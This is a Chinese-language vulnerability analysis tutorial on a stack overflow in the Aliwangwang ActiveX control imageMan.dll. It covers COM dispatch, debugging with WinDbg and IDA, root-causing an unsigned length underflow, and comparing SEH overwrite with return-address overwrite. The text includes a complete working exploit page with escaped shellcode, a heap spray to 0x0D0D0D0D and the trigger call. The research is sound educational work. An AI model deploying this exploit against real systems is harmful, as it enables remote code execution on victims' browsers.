盜墓筆記—阿裏旺旺ActiveX控件imageMan.dll棧溢出漏洞研究
本文作者:i春秋作家——cq5f7a075d
也許現在還研究Activex就是挖墳,但是呢,筆者是摸金校尉,挖墳,呸!盜墓是筆者的本職工作。
額,不扯了,本次研究的是阿裏旺旺ActiveX控件imageMan.dll棧溢出漏洞,來源於《漏洞戰爭》一書,書中簡單介紹了漏洞情況,沒有詳述。筆者在研究過程中產生了很多疑問,比如為什麽要在DispCallFunc函數處下段?為什麽覆蓋SEH,能不能使用覆蓋返回地址的方式進行漏洞利用?
隨著筆者研究的深入,愈發感覺此洞的精妙之處,真是恨不得立即和大家分享。
1. 前言
漏洞軟件:阿裏旺旺imageMan.dll(見附件)
分析環境:WinXP SP3
參考資料:
《漏洞戰爭:軟件漏洞分析精要》
《0day安全:軟件漏洞分析技術》
https://www.cnblogs.com/qguohog/archive/2013/01/22/2871805.html
http://blog.sina.com.cn/s/blog_6a5e54710102x2jt.html
https://wenku.baidu.com/view/59a3229f172ded630b1cb6dc.html
2. ActiveX基礎知識
2.1. 什麽是ActiveX
2.1.1. 是一種插件簡單的說 ActiveX是瀏覽器插件,它是一些軟件組件或對象,可以將其插入到WEB網頁或其他應用程序中。一般軟件需要用戶單獨下載然後執行安裝,而ActiveX插件是當用戶瀏覽到特定的網頁時,IE瀏覽器即可自動下載並提示用戶安裝。
正是有了插件,瀏覽器才能夠用於閱讀文檔、觀看電影、欣賞音樂、社交、網絡購物等。
瀏覽器插件總體可以劃分為兩大陣營,即IE支持的插件以及非IE支持的插件。雖說Activex是微軟的親兒子,但是,現在win10默認安裝的Edge瀏覽器已經不再支持Activex。再過幾年還有多少人能記得Activex?
2.1.2. 是一種組件對象模型(COM)核心技術是COM,所以獨立於語言開發。
既然使用的是COM技術,那麽就會在註冊表中註冊CLSID:
註冊COM命令: regsvr32 ***.dll
2.1.3. 查看已經安裝的ActiveX插件
右鍵IE-Internet屬性-程序-管理加載項:
3. ActiveX逆向分析基礎
3.1. classid
每個ActiveX組件中可能包含多個class類,每個class類可能包含了多個接口,每個接口可能包含了多個函數。每個class類有一個自己的classid。在調用ActiveX中的某個函數的時候,會事先通過classid來引入class。
註冊表 HKEY_CLASSES_ROOT\CLSID中記錄的就是classid。每個 classid下面有個typelib,typelib記錄的是所屬com組件的id。組件id記錄在註冊表的HKEY_CLASSES_ROOT\TypeLib目錄下。
3.2. 分發函數
ActiveX組件中調用函數的機制叫做分發。com組件在調用某個函數時,首先使用被調用函數的函數名來調用GetIDsOfNames函數,返回值是函數編號(DISPID,又名調度ID),再使用該函數編號和函數參數來調用Invoke函數。Invoke函數內部調用DispCallFunc(OLEAUT32!DispCallFunc(HWND ActiveX_instant, dispatchID id))獲取函數地址。
分發接口其實就是存在兩個數組,一個存放dispid與接口方法名稱的對值(pair),一個存放的是dispid與接口方法指針(函數指針)的對值。先通過函數名來找函數編號,然後利用函數編號來調用函數。GetIDsOfNames函數和Invoke(OLEAUT32!DispCallFunc)函數中分別使用了函數名稱表和函數地址表。
Idispatch接口如下:
interface IDispatch : IUnknown { virtual HRESULT GetTypeInfoCount(UINT* pctinfo) = 0; //GetTypeInfoCount用於獲取自動化組件支持的ITypeInfo接口的數目 virtual HRESULT GetTypeInfo(UINT itinfo, LCID lcid, ITypeInfo** pptinfo) = 0; //GetTypeInfo用於獲取ITypeInfo接口的指針,通過該指針將能夠判斷自動化服務程序所提供的自動化支持 virtual HRESULT GetIDsOfNames (REFIID riid, LPOLESTR* rgszNames, UINT cNames, LCID lcid, DISPID* rgdispid) = 0; //GetIDsOfNames讀取一個函數的名稱並返回其函數編號(DISPID,又名調度ID) virtual HRESULT Invoke(DISPID dispidMember, REFIID riid, LCID lcid, WORD wFlags, DISPPARMS* pdispparams, VARIANT* pvarResult, EXCEPINFO* pexcepinfo, UINT* puArgErr ) = 0; //Invoke提供了訪問自動化對象暴露出來的方法和屬性的方法 }
3.3.分析方法-DispCallFunc下段
在網頁中調用ActiveX組件,在瀏覽器背後都會先後調用GetIDsOfNames函數和Invoke函數。因為Invoke函數內部最終要調用OLEAUT32!DispCallFunc函數,因此可以在該函數上下斷點。
業界普遍的方法是利用OLEAUT32!DispCallFunc函數來對調試函數進行跟蹤分析,然後跟進 call ecx。
3.4. ActiveX使用與逆向分析
在html中直接創建對象,然後就可以直接使用了:
AutoPic是類裏的一個函數,這裏target是利用類創建的一個對象。根據上面的知識,在調用AutoPic時,會進行分發,根據函數名調用GetIDsOfNames函數DispCallFunc獲取函數地址。在DispCallFunc中的call ecx處下段,就可以斷在進行函數的地方:
1001AB7F就是AutoPic的入口地址,OD和IDA中都沒有識別出函數名;
所以調用ActiveX組件函數不是通過導出函數調用的,而是利用分發函數。
4. POC文件介紹
第一個POC文件POC1,導致IE崩潰:
buffer的長度很大,看著很像棧溢出漏洞,面對棧溢出漏洞,重點關註拷貝的函數。
第二個POC文件POC2,漏洞利用,彈出計算器:
5.漏洞分析
5.1. 基於汙點追蹤定位漏洞
本方法是《漏洞戰爭》中介紹的方法,利用導致程序崩潰的POC文件分析程序崩潰原因,定位漏洞。
Windbg附加調試IE,加載POC1在,這個時候程序中斷:
中斷位置:0x1003406b ,中斷模塊ImageMan.dll。
中斷原因-向只讀內存空間寫數據:
在IDA中反編譯ImageMan.dll,定位0x1003406b:
0x1003406b位於_mbsnbcpy函數中,_mbsnbcpy中將第二個參數中的數據復制到第一個參數位置,第三參數size_t是復制的個數。
棧溢出的原因一般是對內存拷貝的長度沒有限制,這裏追蹤_mbsnbcpy中第三個參數size_t。
Ctrl+X查看哪裏調用了_mbsnbcpy:
IDA中顯示了好多個上層函數,哪一個才是發生了棧溢出的函數?在Windbg中棧回溯:(111)
_mbsnbcpy函數返回0x1001C324,基本可以斷定調用_mbsnbcpy的函數是sub_1001C310:
sub_1001C310只起到了傳輸size_t的功能,並沒有修改size_t,需要繼續回溯上層函數。Ctrl+x這次只有一個函數sub_1001AB7F
進入sub_1001AB7F+AC向上回溯,導致size_t發生變化的地方發生在
.text:1001AC0B mov eax, [ebp+var_20C]
.text:1001AC11 lea ecx, [ebp+MultiByteStr]
.text:1001AC17 sub eax, ecx
.text:1001AC19 add eax,1
[ebp+MultiByteStr]的值是WideCharToMultiByte中生成的新字符串的位置;
[ebp+var_20C]的值是strrchr中查找字符串中’/’最後出現的位置。
eax-ecx+1就可以計算出字符串長度,但是這裏惡意構造的字符串中沒有’/’,所以[ebp+var_20C]的值=0,eax-ecx+1是一個負數,但是size_t是unsigned類型,這裏強制類型轉化,把size_t當作很大的一個數,發生了棧溢出漏洞。
在_mbsnbcpy中將第二個參數中的數據復制到第一個參數位置,[ebp+MultiByteStr]就是第二個參數,[ebp+var_104]就是第一個參數。
其中變量MultiByteStr的地址偏移0×104處是變量var_104,這個104很重要:
重啟啟動IE,下段,執行到_mbsnbcpy處,查看棧空間:
這次是將0x12dec0處的字符串復制到0x12dfc4(這裏0x12dfc4-0x12dec0=0×104,的確是0×104!),復制的大小size_t=0xffde2141。
至此,我們分析出漏洞原因了,內存拷貝時,沒有對拷貝大小進行限制。
接下來就要進行進行漏洞利用了,棧溢出漏洞利用的方式主要有:覆蓋返回地址和覆蓋SEH。
進行棧回溯看看是否能夠覆蓋返回地址,可以覆蓋0x12e0c8處的地址,貌似可以利用覆蓋返回地址的方式:
再看一下SEH鏈,看一下能不能使用覆蓋SEH鏈的方式使用命令:
dt ntdll!_EXCEPTION_REGISTRATION_RECORD -l next poi(7ffdf000)
貌似也可以使用覆蓋SEH的方式進行漏洞利用。
5.2. 覆蓋SEH的漏洞利用
POC分析:
<html> <body> <object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object> <script> shellcode = unescape( ‘%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395‘+ ‘%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1‘+ ‘%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e‘+ ‘%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5‘+ ‘%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f‘+ ‘%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5‘+ ‘%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525‘+ ‘%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e‘); //size:0xA0 nops=unescape(‘%u9090%u9090‘); //size:0x04 headersize =20; //size:0x28,js中的長度是按照寬字符計算的 slackspace= headersize + shellcode.length; //size:0x0C8,slackspace=100 while(nops.length < slackspace) nops+= nops; //Nop的長度是按照指數增長的,增長到0x100 fillblock= nops.substring(0, slackspace); //size:0xC8,substring() 方法用於提取字符串中介於兩個指定下標之間的字符 block= nops.substring(0, nops.length- slackspace); //size:0x100-0xC8=0x38 while( block.length+ slackspace<0x50000) block= block+ block+ fillblock; //size:FFEAC memory=new Array(); for( counter=0; counter<200; counter++) memory[counter]= block + shellcode; //每個元素的真實數據大小是0xFFFD8,加上額外數據,每個元素在內存中占用的大小是0x100000,一共是200個數據,假設從內存0x0的位置存放數組,200個元素,會一直存放到0xC800000,實際上數組並不是從0x0位置開始存放的,進程本身,堆棧以及其他變量所需的內存空間,會導致數組很容易覆蓋0x0D0D0D0D的地址空間。 s=‘‘; for( counter=0; counter<=1000; counter++) s+=unescape("%0D%0D%0D%0D"); target.AutoPic(s,"defaultV"); </script> </body> </html>
偏移 | 內容 |
---|---|
0×00~0x1F | 應該是描述內存的數據 |
0×20~0×23 | 應該也是描述內存的數據(0xD8 0xFF 0x0F 0×00) |
0×24~0xFFF5B | 0×90 0×90(這是填充數據) |
0xFFF5C~0xFFFFB | shellcode |
0xFFFFC~0xFFFFF | 0×00 0×00 0×00 0×00 |
只要數組覆蓋0x0D0D0D0D的內存,那麽我們就可以隨心所欲了。這裏覆蓋SEH的好處是不用關心SEH所在位置,盡量多的溢出,覆蓋SEH。
繼續溢出,溢出到不可寫空間,觸發異常,進入SEH處理,執行0x0D0D0D0D,執行大量的NOP,然後執行shellcode:
5.3. 覆蓋返回地址的漏洞利用研究
先說結論:不可利用。
這裏要介紹一下WideCharToMultiByte這個API
int WideCharToMultiByte( UINT CodePage, //指定執行轉換的代碼頁 DWORD dwFlags, //允許你進行額外的控制,它會影響使用了讀音符號(比如重音)的字符 LPCWSTR lpWideCharStr, //指定要轉換為寬字節字符串的緩沖區 int cchWideChar, //指定由參數lpWideCharStr指向的緩沖區的字符個數 LPSTR lpMultiByteStr, //指向接收被轉換字符串的緩沖區 int cchMultiByte, //指定由參數lpMultiByteStr指向的緩沖區最大值 LPCSTR lpDefaultChar, //遇到一個不能轉換的寬字符,函數便會使用pDefaultChar參數指向的字符 LPBOOL pfUsedDefaultChar //至少有一個字符不能轉換為其多字節形式,函數就會把這個變量設為TRUE );
在程序中,cchWideChar被指定為0xFFFFFFFF
cchMultiByte是分配空間的大小,也被指定為0×104。
如圖所示,調用WideCharToMultiByte將轉化為短字符的數據存儲在0x12E044中,但是最多存放0×104個字符。隨後計算‘\’在字符串中的位置,如果這0×104大小的內存中存在‘\’,則size_t的值正常,程序正常運行不會溢出;如果這0×104大小的內存中不存在‘\’,則size_t的值非常大,程序會溢出,同時會因為size_t過大觸發異常,執行SEH。
所以,該漏洞只能利用覆蓋SEH的方法利用,無法利用覆蓋返回地址的方式利用。
這個時候你可能會問,既然[ebp+MultiByteStr](0x12E044)中最多是0×104個字符,那麽如何保證覆蓋到SEH的數據是0x0D0D0D0D呢?
精彩的地方來了!
覆蓋SEH能利用成功就是因為0×104!0x12E044待會兒復制到一個新的內存空間中,而這個新的內存空間位置是0x12E148,恰好是偏移0×104的地方(從IDA中能很清楚看到這兩個變量相距0×104);那麽size_t過大時,從0x12E044復制數據到0x12E148,當0x12E044中的0×104個數據復制完成,正好來到0x12E148處,這裏的數據已經被修改為0x0D。於是程序繼續復制0x0D。如此一直復制下去,覆蓋返回地址,覆蓋SEH,覆蓋到不可讀內存空間觸發異常。
後記:
夜深人靜,洗洗睡吧,拜拜(>^ω^<)喵。
附件:
鏈接:https://pan.baidu.com/s/1hsq1PrA 密碼:272q
更多漏洞相關學習資料推薦>>>>
互聯網安全責任峰會——網絡安全行業責任與變化 (譚曉生)
JBoss 反序列化漏洞(CVE-2017-12149)
PHPMyWind存儲XSS漏洞(CVE-2017-12984 )
NFTP緩沖區溢出漏洞(CVE-2017-15222)
【DC010技術沙龍】自動化漏洞利用關鍵技術研究分享
>>>>>> 黑客入門必備技能 帶你入坑和逗比表哥們一起聊聊黑客的事兒,他們說高精尖的技術比農藥都好玩~
盜墓筆記—阿裏旺旺ActiveX控件imageMan.dll棧溢出漏洞研究